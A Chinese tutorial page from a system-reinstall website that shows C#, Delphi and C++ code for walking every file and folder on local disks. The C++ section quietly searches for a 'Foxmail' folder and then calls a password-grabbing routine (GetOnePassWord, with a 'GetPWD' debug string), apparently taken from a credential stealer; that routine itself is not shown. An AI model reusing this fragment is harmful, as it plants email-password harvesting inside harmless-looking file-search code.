• 微软原版系统

  • 一键重装系统

  • 纯净系统

  • 在线技术客服

魔法猪系统重装大师 一键在线制作启动 U 盘 PE 系统 用一键重装的魔法拯救失去灵魂的系统
当前位置:首页 > 教程 > 电脑教程

不同编程语言遍历磁盘所有文件和文件夹实例

时间:2015年04月02日 15:22:48    来源:魔法猪系统重装大师官网    人气:7139

1、C#遍历磁盘所有文件和文件夹:

public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
static List files = new List();
static List dirs = new List();

private void Form1_Load(object sender, EventArgs e)
{
string diskpath = System.Windows.Forms.Application.StartupPath.Split('\\')[0]+"\\";
ForEachDisk(diskpath);
MessageBox.Show("共遍历到:" + files.Count.ToString() + "个文件," + dirs.Count.ToString() + "个文件夹。");
}

private void ForEachDisk(string path)
{
DirectoryInfo dir = new DirectoryInfo(path);

try
{
foreach (DirectoryInfo d in dir.GetDirectories())
{
if (d.Name.Substring(0, 1) != "$" && d.Name != "System Volume Information")
{
ForEachDisk(d.FullName);

Model m = new Model();
m.name = d.Name;
m.path = d.FullName;
dirs.Add(m);
listBox1.Items.Add(d.FullName);
}
}
}
catch (Exception ex)
{
MessageBox.Show("错误提示:统计信息可能不完善。" + ex.Message);
return;
}

foreach (FileInfo f in dir.GetFiles())
{
Model m = new Model();
m.name = f.Name;
m.path = f.FullName;
files.Add(m);
listBox2.Items.Add(f.FullName);
}
}
}

public class Model
{
private string _name;
//private string _type;
private string _path;

public string name { get { return _name; } set { _name = value; } }
//public string type { get { return _type; } set { _type = value; } }
public string path { get { return _path; } set { _path = value; } }
}

这里没有用树形结构表示,而是用了列表的方式保存信息,方便日后信息的查找。

2、delphi 遍历硬盘所有文件目录

//一个遍历所有硬盘的所有目录的实例源码:

unit Unit1;

interface

uses
Windows, Messages, FileCtrl,SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, ImgList, ExtCtrls;

type
TForm1 = class(TForm)
TreeView: TTreeView;
Button3: TButton;
procEDure Button3Click(Sender: TObject);
private
{ Private declarations }
public
procedure CreateDirectoryTree(RootDir, RootCaption: string);
end;

var
Form1: TForm1;

implementation

{$R *.DFM}
procedure TForm1.CreateDirectoryTree(RootDir, RootCaption: string);
procedure AddSubDirToTree(RootNode: TTreeNode);
var
SearchRec: TSearchRec;
Path: string;
Found: integer;
begin
Path := PChar(RootNode.Data) + '\*.*';
Found := FindFirst(Path, faAnyFile, SearchRec);
while Found = 0 do
begin
if (SearchRec.Attr = faDirectory) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then
AddSubDirToTree(TreeView.Items.AddChildObject(RootNode, SearchRec.Name,
PChar(PChar(RootNode.Data) + '\' + SearchRec.Name)));
Found := FindNext(SearchRec);
end;
FindClose(SearchRec);
end;
begin
//TreeView.Items.Clear;
AddSubDirToTree(TreeView.Items.AddObject(nil, RootCaption, PChar(RootDir)));
end;

procedure TForm1.Button3Click(Sender: TObject);
var
i:integer;
abc:Tstrings;
s:string;
begin
abc:=TStringlist.Create;
for i:=0 to 23 do begin
s := Chr(65+i)+':\';
// if GetDriveType(PChar(s))= DRIVE_cdrom then
if directoryexists(s) then
begin
s:=copy(s,0,2) ;
abc.Add(s);
end;
end;
for i:=0 to abc.Count-1 do
BEGIN
S:=abc.strings[i];
CreateDirectoryTree(S, '['+s+'\]');
END
end;

end. 

3、C++获取本地所有磁盘并遍历磁盘下所有文件、文件夹

3.1获取本地磁盘符号

[cpp] view plaincopy
void GetComputerDisk() //获取本地电脑的磁盘符号
{
OutputDebugString("GetComputerDisk");
TCHAR buf[100];
DWORD len = GetLogicalDriveStrings(sizeof(buf)/sizeof(TCHAR),buf);
TCHAR *s = buf;
UINT IsCDRom;

for (; *s; s+=_tcslen(s)+1)
{
/*LPCTSTR sDrivePath = s; */
CString strDisks = s; //单个盘符
IsCDRom=GetDriveType(strDisks);
if (IsCDRom==DRIVE_CDROM)
{
OutputDebugString("CD-ROM");
continue;
}
OutputDebugString(strDisks);
TCFindFile(strDisks);
}
}

3.2遍历每个磁盘下的所有文件、文件夹

[cpp] view plaincopy
void TCFindFile(CString FilePath)
{
OutputDebugString("TCFindFile");
CFileFind find;
CString Dir = FilePath+"*.*";

BOOL res =find.FindFile(Dir);

//OutputDebugString(Dir);
if (!res)
{
OutputDebugString("DiskScanOver!");
return;
}

while(res)
{
CString Filename;
CString tmp;
res = find.FindNextFile();
if (find.IsDirectory() && !find.IsDots()) //目录是文件夹
{
Filename = find.GetFileName();
tmp = Dir.Left(Dir.GetLength() - 3) + Filename;
if (Filename == "Foxmail")
{
//执行后续操作
OutputDebugString(tmp);
TheRightFoxmailPath = tmp;
OutputDebugString("GetPWDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD");
GetOnePassWord();
return;
}
tmp += "//";
TCFindFile(tmp);
}
}
}

不同,编程语言,遍历,磁盘,所有,文件,和,、,
栏目:电脑教程 阅读:1000 2023/12/27
Win7教程 更多>>
U盘教程 更多>>
Win10教程 更多>>
魔法猪学院 更多>>

Copyright © 2015-2023 魔法猪 魔法猪系统重装大师

本站发布的系统仅为个人学习测试使用,请在下载后24小时内删除,不得用于任何商业用途,否则后果自负,请支持购买微软正版软件。

在线客服 查看微信 返回顶部